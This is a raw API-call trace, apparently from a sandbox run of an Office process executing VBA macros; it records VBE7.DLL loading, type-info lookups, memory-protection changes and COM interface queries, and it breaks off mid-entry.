[0076.173] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff060, pbstrName=0x0, pwOrdinal=0x1ff080 | out: pBstrDllName=0x1ff060*=0x0, pbstrName=0x0, pwOrdinal=0x1ff080*=0xf2f0) returned 0x0 [0076.173] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff060, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff060, pwOrdinal=0x500000000) returned 0x0 [0076.173] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x1fe590, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.173] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fe590, pbstrName=0x0, pwOrdinal=0x1fe5b0 | out: pBstrDllName=0x1fe590*=0x0, pbstrName=0x0, pwOrdinal=0x1fe5b0*=0xe820) returned 0x0 [0076.173] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fe590, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fe590, pwOrdinal=0x500000000) returned 0x0 [0076.173] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x1ff190, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.173] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff190, pbstrName=0x0, pwOrdinal=0x1ff1b0 | out: pBstrDllName=0x1ff190*=0x0, pbstrName=0x0, pwOrdinal=0x1ff1b0*=0xf420) returned 0x0 [0076.173] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000) returned 0x0 [0076.173] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x1ff290, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.173] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff290, pbstrName=0x0, pwOrdinal=0x1ff2b0 | out: pBstrDllName=0x1ff290*=0x0, pbstrName=0x0, pwOrdinal=0x1ff2b0*=0xf520) returned 0x0 [0076.173] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff290, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff290, pwOrdinal=0x500000000) returned 0x0 [0076.173] IMalloc:Free (This=0x7fefe465380, pv=0x666f230) [0076.173] GetCurrentProcess () returned 0xffffffffffffffff [0076.173] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a9, dwSize=0x8) returned 1 [0076.173] GetCurrentProcess () returned 0xffffffffffffffff [0076.173] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a8, dwSize=0x8) returned 1 [0076.173] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a29, dwSize=0x8) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a28, dwSize=0x8) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a38, dwSize=0x2) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a8c, dwSize=0x4d) returned 1 [0076.174] VirtualProtect (in: lpAddress=0x6628a8c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff7ac | out: lpflOldProtect=0x1ff7ac*=0x40) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf1, dwSize=0x8) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf0, dwSize=0x8) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac00, dwSize=0x2) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac54, dwSize=0x45) returned 1 [0076.174] VirtualProtect (in: lpAddress=0x662ac54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff7ac | out: lpflOldProtect=0x1ff7ac*=0x40) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662acdc, dwSize=0x45) returned 1 [0076.174] VirtualProtect (in: lpAddress=0x662acdc, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff7ac | out: lpflOldProtect=0x1ff7ac*=0x40) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad59, dwSize=0x8) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad58, dwSize=0x8) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad68, dwSize=0x2) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a2bc, dwSize=0x4d) returned 1 [0076.174] VirtualProtect (in: lpAddress=0x662a2bc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff7ac | out: lpflOldProtect=0x1ff7ac*=0x40) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a341, dwSize=0x8) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a340, dwSize=0x8) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a350, dwSize=0x2) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a3a4, dwSize=0x4d) returned 1 [0076.174] VirtualProtect (in: lpAddress=0x662a3a4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff7ac | out: lpflOldProtect=0x1ff7ac*=0x40) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a429, dwSize=0x8) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a428, dwSize=0x8) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a438, dwSize=0x2) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b53c, dwSize=0x4d) returned 1 [0076.174] VirtualProtect (in: lpAddress=0x662b53c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff7ac | out: lpflOldProtect=0x1ff7ac*=0x40) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c1, dwSize=0x8) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.174] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c0, dwSize=0x8) returned 1 [0076.174] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5d0, dwSize=0x2) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b624, dwSize=0x4d) returned 1 [0076.175] VirtualProtect (in: lpAddress=0x662b624, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff7ac | out: lpflOldProtect=0x1ff7ac*=0x40) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a9, dwSize=0x8) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a8, dwSize=0x8) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6b8, dwSize=0x2) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627dbc, dwSize=0x4d) returned 1 [0076.175] VirtualProtect (in: lpAddress=0x6627dbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff7ac | out: lpflOldProtect=0x1ff7ac*=0x40) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e41, dwSize=0x8) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e40, dwSize=0x8) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e50, dwSize=0x2) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627ea4, dwSize=0x4d) returned 1 [0076.175] VirtualProtect (in: lpAddress=0x6627ea4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff7ac | out: lpflOldProtect=0x1ff7ac*=0x40) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f29, dwSize=0x8) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f28, dwSize=0x8) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f38, dwSize=0x2) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b78c, dwSize=0x4d) returned 1 [0076.175] VirtualProtect (in: lpAddress=0x662b78c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff7ac | out: lpflOldProtect=0x1ff7ac*=0x40) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b811, dwSize=0x8) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b810, dwSize=0x8) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b820, dwSize=0x2) returned 1 [0076.175] GetCurrentProcess () returned 0xffffffffffffffff [0076.175] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b874, dwSize=0x4d) returned 1 [0076.175] VirtualProtect (in: lpAddress=0x662b874, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff7ac | out: lpflOldProtect=0x1ff7ac*=0x40) returned 1 [0076.175] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.175] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0076.175] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0076.176] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000c18) returned 1 [0076.176] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.176] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x269) returned 0x7fee5d32490 [0076.176] GetCurrentProcess () returned 0xffffffffffffffff [0076.176] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x648a194, dwSize=0x4b) returned 1 [0076.176] RtlLookupFunctionEntry (in: ControlPc=0x648a194, ImageBase=0x1ff638, HistoryTable=0x1ff640 | out: ImageBase=0x1ff638, HistoryTable=0x1ff640) returned 0x0 [0076.176] VirtualProtect (in: lpAddress=0x648a194, dwSize=0x4c, flNewProtect=0x40, lpflOldProtect=0x1ff73c | out: lpflOldProtect=0x1ff73c*=0x4) returned 1 [0076.176] RtlAddFunctionTable (FunctionTable=0x648a1ec, EntryCount=0x1, BaseAddress=0x648a100, TargetGp=0x1ff73c) returned 1 [0076.176] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.177] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0076.177] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0076.177] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000c19) returned 1 [0076.177] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.177] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x260) returned 0x7fee5d3142c [0076.177] GetCurrentProcess () returned 0xffffffffffffffff [0076.177] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489f44, dwSize=0x43) returned 1 [0076.177] RtlLookupFunctionEntry (in: ControlPc=0x6489f44, ImageBase=0x1ff638, HistoryTable=0x1ff640 | out: ImageBase=0x1ff638, HistoryTable=0x1ff640) returned 0x0 [0076.177] VirtualProtect (in: lpAddress=0x6489f44, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x1ff73c | out: lpflOldProtect=0x1ff73c*=0x4) returned 1 [0076.177] RtlAddFunctionTable (FunctionTable=0x6489f94, EntryCount=0x1, BaseAddress=0x6489f00, TargetGp=0x1ff73c) returned 1 [0076.177] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.177] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b68 | out: ppvObject=0x200b68*=0x0) returned 0x80004002 [0076.177] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b60 | out: ppvObject=0x200b60*=0x0) returned 0x80004002 [0076.177] IUnknown:Release (This=0xb824728) returned 0x2 [0076.178] IUnknown:AddRef (This=0xb824780) returned 0x6 [0076.178] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b68 | out: ppvObject=0x200b68*=0x0) returned 0x80004002 [0076.178] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b60 | out: ppvObject=0x200b60*=0x0) returned 0x80004002 [0076.178] IUnknown:Release (This=0xb824780) returned 0x5 [0076.178] IUnknown:AddRef (This=0xb824678) returned 0x2 [0076.178] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b68 | out: ppvObject=0x200b68*=0x0) returned 0x80004002 [0076.178] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b60 | out: ppvObject=0x200b60*=0x0) returned 0x80004002 [0076.178] IUnknown:Release (This=0xb824678) returned 0x1 [0076.178] IUnknown:AddRef (This=0xb934ce8) returned 0x3 [0076.178] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b68 | out: ppvObject=0x200b68*=0x0) returned 0x80004002 [0076.178] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b60 | out: ppvObject=0x200b60*=0x0) returned 0x80004002 [0076.178] IUnknown:Release (This=0xb934ce8) returned 0x2 [0076.178] IUnknown:AddRef (This=0xb95f138) returned 0x3 [0076.178] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b68 | out: ppvObject=0x200b68*=0x0) returned 0x80004002 [0076.178] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b60 | out: ppvObject=0x200b60*=0x0) returned 0x80004002 [0076.178] IUnknown:Release (This=0xb95f138) returned 0x2 [0076.178] IUnknown:AddRef (This=0xb9412f8) returned 0x3 [0076.178] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b68 | out: ppvObject=0x200b68*=0x0) returned 0x80004002 [0076.178] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b60 | out: ppvObject=0x200b60*=0x0) returned 0x80004002 [0076.178] IUnknown:Release (This=0xb9412f8) returned 0x2 [0076.178] IUnknown:AddRef (This=0xb941878) returned 0x4 [0076.178] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b68 | out: ppvObject=0x200b68*=0x0) returned 0x80004002 [0076.178] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200b60 | out: ppvObject=0x200b60*=0x0) returned 0x80004002 [0076.178] IUnknown:Release (This=0xb941878) returned 0x3 [0076.178] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0x4, _Src=0x5792b42 | out: _Dst=0x62ed410) returned 0x0 [0076.178] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.178] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.178] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.178] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x1ff130, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.179] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff130, pbstrName=0x0, pwOrdinal=0x1ff150 | out: pBstrDllName=0x1ff130*=0x0, pbstrName=0x0, pwOrdinal=0x1ff150*=0xf3c0) returned 0x0 [0076.179] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff130, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff130, pwOrdinal=0x500000000) returned 0x0 [0076.179] IMalloc:Free (This=0x7fefe465380, pv=0x666f290) [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a341, dwSize=0x8) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a340, dwSize=0x8) returned 1 [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a29, dwSize=0x8) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a28, dwSize=0x8) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a38, dwSize=0x2) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a8c, dwSize=0x4d) returned 1 [0076.179] VirtualProtect (in: lpAddress=0x6628a8c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf1, dwSize=0x8) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf0, dwSize=0x8) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac00, dwSize=0x2) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac54, dwSize=0x45) returned 1 [0076.179] VirtualProtect (in: lpAddress=0x662ac54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662acdc, dwSize=0x45) returned 1 [0076.179] VirtualProtect (in: lpAddress=0x662acdc, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad59, dwSize=0x8) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad58, dwSize=0x8) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad68, dwSize=0x2) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a2bc, dwSize=0x4d) returned 1 [0076.179] VirtualProtect (in: lpAddress=0x662a2bc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a341, dwSize=0x8) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a340, dwSize=0x8) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a350, dwSize=0x2) returned 1 [0076.179] GetCurrentProcess () returned 